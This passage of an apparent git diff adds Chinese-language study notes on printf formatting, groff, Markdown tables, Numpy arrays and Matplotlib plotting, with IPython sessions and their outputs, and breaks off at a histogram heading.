|380|“%05.5f”|380.00000|使用前导零和五位小数位精度格式化数字为浮点数。由于指定的最小字段宽度(5)小于格式化后数字的实际宽度,因此前导零这一命令实际上没有起到作用。
|
||||||
|
|380|“%010.5f”|0380.00000|将最小字段宽度增加到10,前导零现在变得可见。
|
||||||
|
|380|“%+d”|+380|使用+标志标记正数。
|
||||||
|
|380|“%-d”|380|使用-标志左对齐
|
||||||
|
|abcdefghijk|“%5s”|abcedfghijk|用最小字段宽度格式化字符串。
|
||||||
|
|abcdefghijk|“%d”|abcde|对字符串应用精度,它被从中截断。
|
||||||
|
|
||||||
|
### 文件格式化系统
|
||||||
|
|
||||||
|
groff:一套用GNU实现 troff 的程序。它还包括一个脚本,用来模仿 nroff 和其他 roff 家族。linux手册页由 groff 渲染,使用 mandoc 宏包。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 默认以 PostScript格式输出,这里制定了ascii格式
|
||||||
|
zcat /usr/share/man/man1/ls.1.gz | groff -mandoc -ascii | head
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# PostScript 输出的文件转换为PDF文件:
|
||||||
|
ps2pdf ~/Desktop/foo.ps ~/Desktop/ls.pdf
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
将 -t 选项添加到 groff 指示它用 tbl 预处理文本流。同样地,-T 选项用于输出到 ASCII ,而不是默认的输出介质 PostScript。
|
|
@ -0,0 +1,18 @@
|
||||||
|
# 原创
|
||||||
|
: Markdown入门语法整理
|
||||||
|
|
||||||
|
# Markdown入门语法整理
|
||||||
|
|
||||||
|
类 Setext 形式是用底线的形式,利用 `=` (最高阶标题)和 `-` (第二阶标题),例如:
|
||||||
|
|
||||||
|
| Tables| Are| Cool
|
||||||
|
|------
|
||||||
|
| col 3 is| right-aligned| $1600
|
||||||
|
| col 2 is| centered| $12
|
||||||
|
| zebra stripes| are neat| $1
|
||||||
|
|
||||||
|
| dog| bird| cat
|
||||||
|
|------
|
||||||
|
| foo| foo| foo
|
||||||
|
| bar| bar| bar
|
||||||
|
| baz| baz| baz
|
|
@ -0,0 +1,292 @@
|
||||||
|
# 原创
|
||||||
|
: Numpy学习(一)——Numpy 简介
|
||||||
|
|
||||||
|
# Numpy学习(一)——Numpy 简介
|
||||||
|
|
||||||
|
# Numpy 简介
|
||||||
|
|
||||||
|
## 导入numpy
|
||||||
|
|
||||||
|
Numpy是Python的一个很重要的第三方库,很多其他科学计算的第三方库都是以Numpy为基础建立的。
|
||||||
|
|
||||||
|
Numpy的一个重要特性是它的**数组计算**。
|
||||||
|
|
||||||
|
```
|
||||||
|
from numpy import *
|
||||||
|
```
|
||||||
|
|
||||||
|
以下几种导入方式都行
|
||||||
|
|
||||||
|
```
|
||||||
|
import numpy
|
||||||
|
import numpy as np
|
||||||
|
from numpy import *
|
||||||
|
from numpy import array, sin
|
||||||
|
```
|
||||||
|
|
||||||
|
ipython中可以使用magic命令来快速导入Numpy的内容。
|
||||||
|
|
||||||
|
```
|
||||||
|
%pylab
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Using matplotlib backend: TkAgg
|
||||||
|
Populating the interactive namespace from numpy and matplotlib
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 数组上的数学操作
|
||||||
|
|
||||||
|
```
|
||||||
|
a = [1, 2, 3, 4]
|
||||||
|
a + 1 # 直接运行报错
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
TypeErrorTraceback (most recent call last)
|
||||||
|
|
||||||
|
<ipython-input-3-eb27785ac8c2> in <module>()
|
||||||
|
1 a = [1, 2, 3, 4]
|
||||||
|
----> 2 a + 1 # 直接运行报错
|
||||||
|
|
||||||
|
|
||||||
|
TypeError: can only concatenate list (not "int") to list
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 使用array数组
|
||||||
|
a = array(a)
|
||||||
|
a
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([1, 2, 3, 4])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
a + 1
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([2, 3, 4, 5])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
b = array([2, 3, 4, 5])
|
||||||
|
a+b
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([3, 5, 7, 9])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
a*b
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([ 2, 6, 12, 20])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
a**b
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([ 1, 8, 81, 1024])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 提取数组中的元素
|
||||||
|
|
||||||
|
```
|
||||||
|
a[0]
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
1
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
a[:2]
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([1, 2])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
a[-2:]
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([3, 4])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
a[:2]+a[-2:]
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([4, 6])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 修改数组形状
|
||||||
|
|
||||||
|
```
|
||||||
|
# 查看array的形状
|
||||||
|
a.shape
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
(4,)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 修改array的形状
|
||||||
|
a.shape = 2,2
|
||||||
|
a
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([[1, 2],
|
||||||
|
[3, 4]])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 多维数组
|
||||||
|
|
||||||
|
```
|
||||||
|
a
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([[1, 2],
|
||||||
|
[3, 4]])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
a+a
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([[2, 4],
|
||||||
|
[6, 8]])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
a*a
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([[ 1, 4],
|
||||||
|
[ 9, 16]])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 画图
|
||||||
|
|
||||||
|
**linspace** 用来生成一组等间隔的数据:
|
||||||
|
|
||||||
|
```
|
||||||
|
# precision该方法用来定义小数点后的位数
|
||||||
|
a = linspace(0, 2*pi, 21)
|
||||||
|
%precision 3
|
||||||
|
a
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([0. , 0.314, 0.628, 0.942, 1.257, 1.571, 1.885, 2.199, 2.513,
|
||||||
|
2.827, 3.142, 3.456, 3.77 , 4.084, 4.398, 4.712, 5.027, 5.341,
|
||||||
|
5.655, 5.969, 6.283])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 三角函数
|
||||||
|
b = sin(a)
|
||||||
|
b
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([ 0.000e+00, 3.090e-01, 5.878e-01, 8.090e-01, 9.511e-01,
|
||||||
|
1.000e+00, 9.511e-01, 8.090e-01, 5.878e-01, 3.090e-01,
|
||||||
|
1.225e-16, -3.090e-01, -5.878e-01, -8.090e-01, -9.511e-01,
|
||||||
|
-1.000e+00, -9.511e-01, -8.090e-01, -5.878e-01, -3.090e-01,
|
||||||
|
-2.449e-16])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 画出三角函数图像
|
||||||
|
%matplotlib inline
|
||||||
|
plot(a, b)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0xab0fe10>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 从数组中选择元素
|
||||||
|
|
||||||
|
```
|
||||||
|
b
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([ 0.000e+00, 3.090e-01, 5.878e-01, 8.090e-01, 9.511e-01,
|
||||||
|
1.000e+00, 9.511e-01, 8.090e-01, 5.878e-01, 3.090e-01,
|
||||||
|
1.225e-16, -3.090e-01, -5.878e-01, -8.090e-01, -9.511e-01,
|
||||||
|
-1.000e+00, -9.511e-01, -8.090e-01, -5.878e-01, -3.090e-01,
|
||||||
|
-2.449e-16])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 假设我们想选取数组b中所有非负的部分,首先可以利用 b 产生一组布尔值
|
||||||
|
b >= 0
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
array([ True, True, True, True, True, True, True, True, True,
|
||||||
|
True, True, False, False, False, False, False, False, False,
|
||||||
|
False, False, False])
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
mask = b >= 0
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 画出所有对应的非负值对应的点:
|
||||||
|
plot(a[mask], b[mask], 'ro')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0xafd0e50>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
plot(a[mask], b[mask], 'r')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0xa833ad0>]
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,6 @@
|
||||||
|
# 原创
|
||||||
|
: Numpy学习(三)—— 数组及其索引
|
||||||
|
|
||||||
|
# Numpy学习(三)—— 数组及其索引
|
||||||
|
|
||||||
|
# 数组及其索引
|
|
@ -0,0 +1,754 @@
|
||||||
|
# 原创
|
||||||
|
: Numpy学习(二)——Matplotlib基础
|
||||||
|
|
||||||
|
# Numpy学习(二)——Matplotlib基础
|
||||||
|
|
||||||
|
# Matplotlib 基础
|
||||||
|
|
||||||
|
Matplotlib是一个类似Matlab的工具包,主要用来画图,主页地址为:[Matplotlib](https://matplotlib.org/)
|
||||||
|
|
||||||
|
```
|
||||||
|
# 导入 matplotlib 和 numpy:
|
||||||
|
%pylab
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Using matplotlib backend: TkAgg
|
||||||
|
Populating the interactive namespace from numpy and matplotlib
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## plot 二维图
|
||||||
|
|
||||||
|
```
|
||||||
|
plot(y)
|
||||||
|
plot(x, y)
|
||||||
|
plot(x, y, format_string)
|
||||||
|
```
|
||||||
|
|
||||||
|
只给定 y 值,默认以下标为 x 轴:
|
||||||
|
|
||||||
|
```
|
||||||
|
%matplotlib inline
|
||||||
|
x = linspace(0,2*pi,50)
|
||||||
|
plot(sin(x)) # 没有给定x,则范围为0-50
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0x9d69b50>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 给定x和y值
|
||||||
|
plot(x, sin(x)) # 给定x,则范围为0-2pi
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0x9f4c050>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 多条数据线
|
||||||
|
plot(sin(x)/x,
|
||||||
|
x,sin(2*x))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
d:\python\lib\site-packages\ipykernel_launcher.py:2: RuntimeWarning: invalid value encountered in divide
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[<matplotlib.lines.Line2D at 0xa186ed0>,
|
||||||
|
<matplotlib.lines.Line2D at 0xa186fb0>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 使用字符串,给定线条参数:
|
||||||
|
plot(x, sin(x), 'r-^')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0xb158070>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 多线条:
|
||||||
|
plot(x,sin(x),'b-o',
|
||||||
|
x,sin(2*x),'r-^')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0xb255530>,
|
||||||
|
<matplotlib.lines.Line2D at 0xb255650>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## scatter散点图
|
||||||
|
|
||||||
|
```
|
||||||
|
scatter(x, y)
|
||||||
|
scatter(x, y, size)
|
||||||
|
scatter(x, y, size, color)
|
||||||
|
```
|
||||||
|
|
||||||
|
假设我们想画二维散点图:
|
||||||
|
|
||||||
|
```
|
||||||
|
plot(x, sin(x), 'bo')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0xb392b10>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 使用 scatter 达到同样的效果
|
||||||
|
scatter(x, sin(x))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<matplotlib.collections.PathCollection at 0xb392bd0>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# scatter函数与Matlab的用法相同,还可以指定它的大小,颜色等参数
|
||||||
|
x = rand(200)
|
||||||
|
y = rand(200)
|
||||||
|
size = rand(200) * 30
|
||||||
|
color = rand(200)
|
||||||
|
scatter(x, y, size, color)
|
||||||
|
# 显示颜色条
|
||||||
|
colorbar()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<matplotlib.colorbar.Colorbar at 0xb6fea90>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 多图
|
||||||
|
|
||||||
|
```
|
||||||
|
# 使用figure()命令产生新的图像:
|
||||||
|
t = linspace(0, 2*pi, 50)
|
||||||
|
x = sin(t)
|
||||||
|
y = cos(t)
|
||||||
|
figure()
|
||||||
|
plot(x)
|
||||||
|
figure()
|
||||||
|
plot(y)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0xb530590>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
<img alt="这里写图片描述" src="https://img-blog.csdn.net/20180731011911224?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RzMTk5OTE5OTk=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" title=""/> <br/> <img alt="这里写图片描述" src="https://img-blog.csdn.net/2018073101191879?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RzMTk5OTE5OTk=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" title=""/>
|
||||||
|
|
||||||
|
```
|
||||||
|
# 或者使用 subplot 在一幅图中画多幅子图:
|
||||||
|
# subplot(row, column, index)
|
||||||
|
subplot(1, 2, 1)
|
||||||
|
plot(x)
|
||||||
|
subplot(1, 2, 2)
|
||||||
|
plot(y)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0xb5c7410>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 向图中添加数据
|
||||||
|
|
||||||
|
```
|
||||||
|
# 默认多次 plot 会叠加:
|
||||||
|
plot(x)
|
||||||
|
plot(y)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[<matplotlib.lines.Line2D at 0xe7b9a90>]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 跟Matlab类似用 hold(False)关掉,这样新图会将原图覆盖:
|
||||||
|
plot(x)
|
||||||
|
hold(False)
|
||||||
|
plot(y)
|
||||||
|
# 恢复原来设定
|
||||||
|
hold(True)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
d:\python\lib\site-packages\ipykernel_launcher.py:3: MatplotlibDeprecationWarning: pyplot.hold is deprecated.
|
||||||
|
Future behavior will be consistent with the long-time default:
|
||||||
|
plot commands add elements without first clearing the
|
||||||
|
Axes and/or Figure.
|
||||||
|
This is separate from the ipykernel package so we can avoid doing imports until
|
||||||
|
d:\python\lib\site-packages\matplotlib\__init__.py:911: MatplotlibDeprecationWarning: axes.hold is deprecated. Please remove it from your matplotlibrc and/or style files.
|
||||||
|
mplDeprecation)
|
||||||
|
d:\python\lib\site-packages\matplotlib\rcsetup.py:156: MatplotlibDeprecationWarning: axes.hold is deprecated, will be removed in 3.0
|
||||||
|
mplDeprecation)
|
||||||
|
d:\python\lib\site-packages\ipykernel_launcher.py:6: MatplotlibDeprecationWarning: pyplot.hold is deprecated.
|
||||||
|
Future behavior will be consistent with the long-time default:
|
||||||
|
plot commands add elements without first clearing the
|
||||||
|
Axes and/or Figure.
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 标签
|
||||||
|
|
||||||
|
```
|
||||||
|
# 可以在 plot 中加入 label ,使用 legend 加上图例:
|
||||||
|
plot(x, label='sin')
|
||||||
|
plot(y, label='cos')
|
||||||
|
legend()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<matplotlib.legend.Legend at 0xeb1b7f0>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 或者直接在 legend中加入:
|
||||||
|
plot(x)
|
||||||
|
plot(y)
|
||||||
|
legend(['sin', 'cos'])
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<matplotlib.legend.Legend at 0xebc21b0>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 坐标轴,标题,网格
|
||||||
|
|
||||||
|
```
|
||||||
|
# 可以设置坐标轴的标签和标题:
|
||||||
|
plot(x, sin(x))
|
||||||
|
xlabel('radians')
|
||||||
|
# 可以设置字体大小
|
||||||
|
ylabel('amplitude', fontsize='large')
|
||||||
|
title('Sin(x)')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Text(0.5,1,'Sin(x)')
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 用 'grid()' 来显示网格:
|
||||||
|
plot(x, sin(x))
|
||||||
|
xlabel('radians')
|
||||||
|
ylabel('amplitude', fontsize='large')
|
||||||
|
title('Sin(x)')
|
||||||
|
grid()
|
||||||
|
```
|
||||||
|
|
||||||
|
## 清除、关闭图像
|
||||||
|
|
||||||
|
清除已有的图像使用:`clf()`
|
||||||
|
|
||||||
|
关闭当前图像:`close()`
|
||||||
|
|
||||||
|
关闭所有图像:`close('all')`
|
||||||
|
|
||||||
|
## imshow 显示图片
|
||||||
|
|
||||||
|
这里需要注意,之前misc中的示例图片被删除了,查看帮助文档,发现换成了另一个名称
|
||||||
|
|
||||||
|
```
|
||||||
|
# 导入lena图片
|
||||||
|
from scipy.misc import face,ascent
|
||||||
|
img1 = face()
|
||||||
|
img2 = ascent()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
imshow(img1,
|
||||||
|
# 设置坐标范围
|
||||||
|
extent = [-25, 25, -25, 25],
|
||||||
|
# 设置colormap
|
||||||
|
cmap = cm.bone)
|
||||||
|
colorbar()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<matplotlib.colorbar.Colorbar at 0x10639950>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
imshow(img2,
|
||||||
|
# 设置坐标范围
|
||||||
|
extent = [-25, 25, -25, 25],
|
||||||
|
# 设置colormap
|
||||||
|
cmap = cm.bone)
|
||||||
|
colorbar()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<matplotlib.colorbar.Colorbar at 0x1092a030>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 看一下img的数据
|
||||||
|
print 'face:\n',img1
|
||||||
|
print 'ascent:\n',img2
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
face:
|
||||||
|
[[[121 112 131]
|
||||||
|
[138 129 148]
|
||||||
|
[153 144 165]
|
||||||
|
...
|
||||||
|
[119 126 74]
|
||||||
|
[131 136 82]
|
||||||
|
[139 144 90]]
|
||||||
|
|
||||||
|
[[ 89 82 100]
|
||||||
|
[110 103 121]
|
||||||
|
[130 122 143]
|
||||||
|
...
|
||||||
|
[118 125 71]
|
||||||
|
[134 141 87]
|
||||||
|
[146 153 99]]
|
||||||
|
|
||||||
|
[[ 73 66 84]
|
||||||
|
[ 94 87 105]
|
||||||
|
[115 108 126]
|
||||||
|
...
|
||||||
|
[117 126 71]
|
||||||
|
[133 142 87]
|
||||||
|
[144 153 98]]
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
[[ 87 106 76]
|
||||||
|
[ 94 110 81]
|
||||||
|
[107 124 92]
|
||||||
|
...
|
||||||
|
[120 158 97]
|
||||||
|
[119 157 96]
|
||||||
|
[119 158 95]]
|
||||||
|
|
||||||
|
[[ 85 101 72]
|
||||||
|
[ 95 111 82]
|
||||||
|
[112 127 96]
|
||||||
|
...
|
||||||
|
[121 157 96]
|
||||||
|
[120 156 94]
|
||||||
|
[120 156 94]]
|
||||||
|
|
||||||
|
[[ 85 101 74]
|
||||||
|
[ 97 113 84]
|
||||||
|
[111 126 97]
|
||||||
|
...
|
||||||
|
[120 156 95]
|
||||||
|
[119 155 93]
|
||||||
|
[118 154 92]]]
|
||||||
|
ascent:
|
||||||
|
[[ 83 83 83 ... 117 117 117]
|
||||||
|
[ 82 82 83 ... 117 117 117]
|
||||||
|
[ 80 81 83 ... 117 117 117]
|
||||||
|
...
|
||||||
|
[178 178 178 ... 57 59 57]
|
||||||
|
[178 178 178 ... 56 57 57]
|
||||||
|
[178 178 178 ... 57 57 58]]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
imshow??
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 这里 cm 表示 colormap,可以看它的种类:
|
||||||
|
dir(cm)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[u'Accent',
|
||||||
|
u'Accent_r',
|
||||||
|
u'Blues',
|
||||||
|
u'Blues_r',
|
||||||
|
u'BrBG',
|
||||||
|
u'BrBG_r',
|
||||||
|
u'BuGn',
|
||||||
|
u'BuGn_r',
|
||||||
|
u'BuPu',
|
||||||
|
u'BuPu_r',
|
||||||
|
u'CMRmap',
|
||||||
|
u'CMRmap_r',
|
||||||
|
u'Dark2',
|
||||||
|
u'Dark2_r',
|
||||||
|
u'GnBu',
|
||||||
|
u'GnBu_r',
|
||||||
|
u'Greens',
|
||||||
|
u'Greens_r',
|
||||||
|
u'Greys',
|
||||||
|
u'Greys_r',
|
||||||
|
'LUTSIZE',
|
||||||
|
u'OrRd',
|
||||||
|
u'OrRd_r',
|
||||||
|
u'Oranges',
|
||||||
|
u'Oranges_r',
|
||||||
|
u'PRGn',
|
||||||
|
u'PRGn_r',
|
||||||
|
u'Paired',
|
||||||
|
u'Paired_r',
|
||||||
|
u'Pastel1',
|
||||||
|
u'Pastel1_r',
|
||||||
|
u'Pastel2',
|
||||||
|
u'Pastel2_r',
|
||||||
|
u'PiYG',
|
||||||
|
u'PiYG_r',
|
||||||
|
u'PuBu',
|
||||||
|
u'PuBuGn',
|
||||||
|
u'PuBuGn_r',
|
||||||
|
u'PuBu_r',
|
||||||
|
u'PuOr',
|
||||||
|
u'PuOr_r',
|
||||||
|
u'PuRd',
|
||||||
|
u'PuRd_r',
|
||||||
|
u'Purples',
|
||||||
|
u'Purples_r',
|
||||||
|
u'RdBu',
|
||||||
|
u'RdBu_r',
|
||||||
|
u'RdGy',
|
||||||
|
u'RdGy_r',
|
||||||
|
u'RdPu',
|
||||||
|
u'RdPu_r',
|
||||||
|
u'RdYlBu',
|
||||||
|
u'RdYlBu_r',
|
||||||
|
u'RdYlGn',
|
||||||
|
u'RdYlGn_r',
|
||||||
|
u'Reds',
|
||||||
|
u'Reds_r',
|
||||||
|
'ScalarMappable',
|
||||||
|
u'Set1',
|
||||||
|
u'Set1_r',
|
||||||
|
u'Set2',
|
||||||
|
u'Set2_r',
|
||||||
|
u'Set3',
|
||||||
|
u'Set3_r',
|
||||||
|
u'Spectral',
|
||||||
|
u'Spectral_r',
|
||||||
|
u'Wistia',
|
||||||
|
u'Wistia_r',
|
||||||
|
u'YlGn',
|
||||||
|
u'YlGnBu',
|
||||||
|
u'YlGnBu_r',
|
||||||
|
u'YlGn_r',
|
||||||
|
u'YlOrBr',
|
||||||
|
u'YlOrBr_r',
|
||||||
|
u'YlOrRd',
|
||||||
|
u'YlOrRd_r',
|
||||||
|
'__builtins__',
|
||||||
|
'__doc__',
|
||||||
|
'__file__',
|
||||||
|
'__name__',
|
||||||
|
'__package__',
|
||||||
|
'_generate_cmap',
|
||||||
|
'_reverse_cmap_spec',
|
||||||
|
'_reverser',
|
||||||
|
'absolute_import',
|
||||||
|
u'afmhot',
|
||||||
|
u'afmhot_r',
|
||||||
|
u'autumn',
|
||||||
|
u'autumn_r',
|
||||||
|
u'binary',
|
||||||
|
u'binary_r',
|
||||||
|
u'bone',
|
||||||
|
u'bone_r',
|
||||||
|
u'brg',
|
||||||
|
u'brg_r',
|
||||||
|
u'bwr',
|
||||||
|
u'bwr_r',
|
||||||
|
'cbook',
|
||||||
|
'cividis',
|
||||||
|
'cividis_r',
|
||||||
|
'cmap_d',
|
||||||
|
'cmapname',
|
||||||
|
'cmaps_listed',
|
||||||
|
'colors',
|
||||||
|
u'cool',
|
||||||
|
u'cool_r',
|
||||||
|
u'coolwarm',
|
||||||
|
u'coolwarm_r',
|
||||||
|
u'copper',
|
||||||
|
u'copper_r',
|
||||||
|
u'cubehelix',
|
||||||
|
u'cubehelix_r',
|
||||||
|
'datad',
|
||||||
|
'division',
|
||||||
|
u'flag',
|
||||||
|
u'flag_r',
|
||||||
|
'get_cmap',
|
||||||
|
u'gist_earth',
|
||||||
|
u'gist_earth_r',
|
||||||
|
u'gist_gray',
|
||||||
|
u'gist_gray_r',
|
||||||
|
u'gist_heat',
|
||||||
|
u'gist_heat_r',
|
||||||
|
u'gist_ncar',
|
||||||
|
u'gist_ncar_r',
|
||||||
|
u'gist_rainbow',
|
||||||
|
u'gist_rainbow_r',
|
||||||
|
u'gist_stern',
|
||||||
|
u'gist_stern_r',
|
||||||
|
u'gist_yarg',
|
||||||
|
u'gist_yarg_r',
|
||||||
|
u'gnuplot',
|
||||||
|
u'gnuplot2',
|
||||||
|
u'gnuplot2_r',
|
||||||
|
u'gnuplot_r',
|
||||||
|
u'gray',
|
||||||
|
u'gray_r',
|
||||||
|
u'hot',
|
||||||
|
u'hot_r',
|
||||||
|
u'hsv',
|
||||||
|
u'hsv_r',
|
||||||
|
'inferno',
|
||||||
|
'inferno_r',
|
||||||
|
u'jet',
|
||||||
|
u'jet_r',
|
||||||
|
'ma',
|
||||||
|
'magma',
|
||||||
|
'magma_r',
|
||||||
|
'mpl',
|
||||||
|
u'nipy_spectral',
|
||||||
|
u'nipy_spectral_r',
|
||||||
|
'np',
|
||||||
|
u'ocean',
|
||||||
|
u'ocean_r',
|
||||||
|
u'pink',
|
||||||
|
u'pink_r',
|
||||||
|
'plasma',
|
||||||
|
'plasma_r',
|
||||||
|
'print_function',
|
||||||
|
u'prism',
|
||||||
|
u'prism_r',
|
||||||
|
u'rainbow',
|
||||||
|
u'rainbow_r',
|
||||||
|
'register_cmap',
|
||||||
|
'revcmap',
|
||||||
|
u'seismic',
|
||||||
|
u'seismic_r',
|
||||||
|
'six',
|
||||||
|
u'spring',
|
||||||
|
u'spring_r',
|
||||||
|
u'summer',
|
||||||
|
u'summer_r',
|
||||||
|
u'tab10',
|
||||||
|
u'tab10_r',
|
||||||
|
u'tab20',
|
||||||
|
u'tab20_r',
|
||||||
|
u'tab20b',
|
||||||
|
u'tab20b_r',
|
||||||
|
u'tab20c',
|
||||||
|
u'tab20c_r',
|
||||||
|
u'terrain',
|
||||||
|
u'terrain_r',
|
||||||
|
'unicode_literals',
|
||||||
|
'viridis',
|
||||||
|
'viridis_r',
|
||||||
|
u'winter',
|
||||||
|
u'winter_r']
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
imshow(img2, cmap=cm.tab20c_r)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
<matplotlib.image.AxesImage at 0x10bdd9b0>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 从脚本中运行
|
||||||
|
|
||||||
|
在脚本中使用 plot 时,通常图像是不会直接显示的,需要增加 **show()** 选项,只有在遇到 show() 命令之后,图像才会显示。
|
||||||
|
|
||||||
|
## 直方图
|
||||||
|
|
||||||
|
```
|
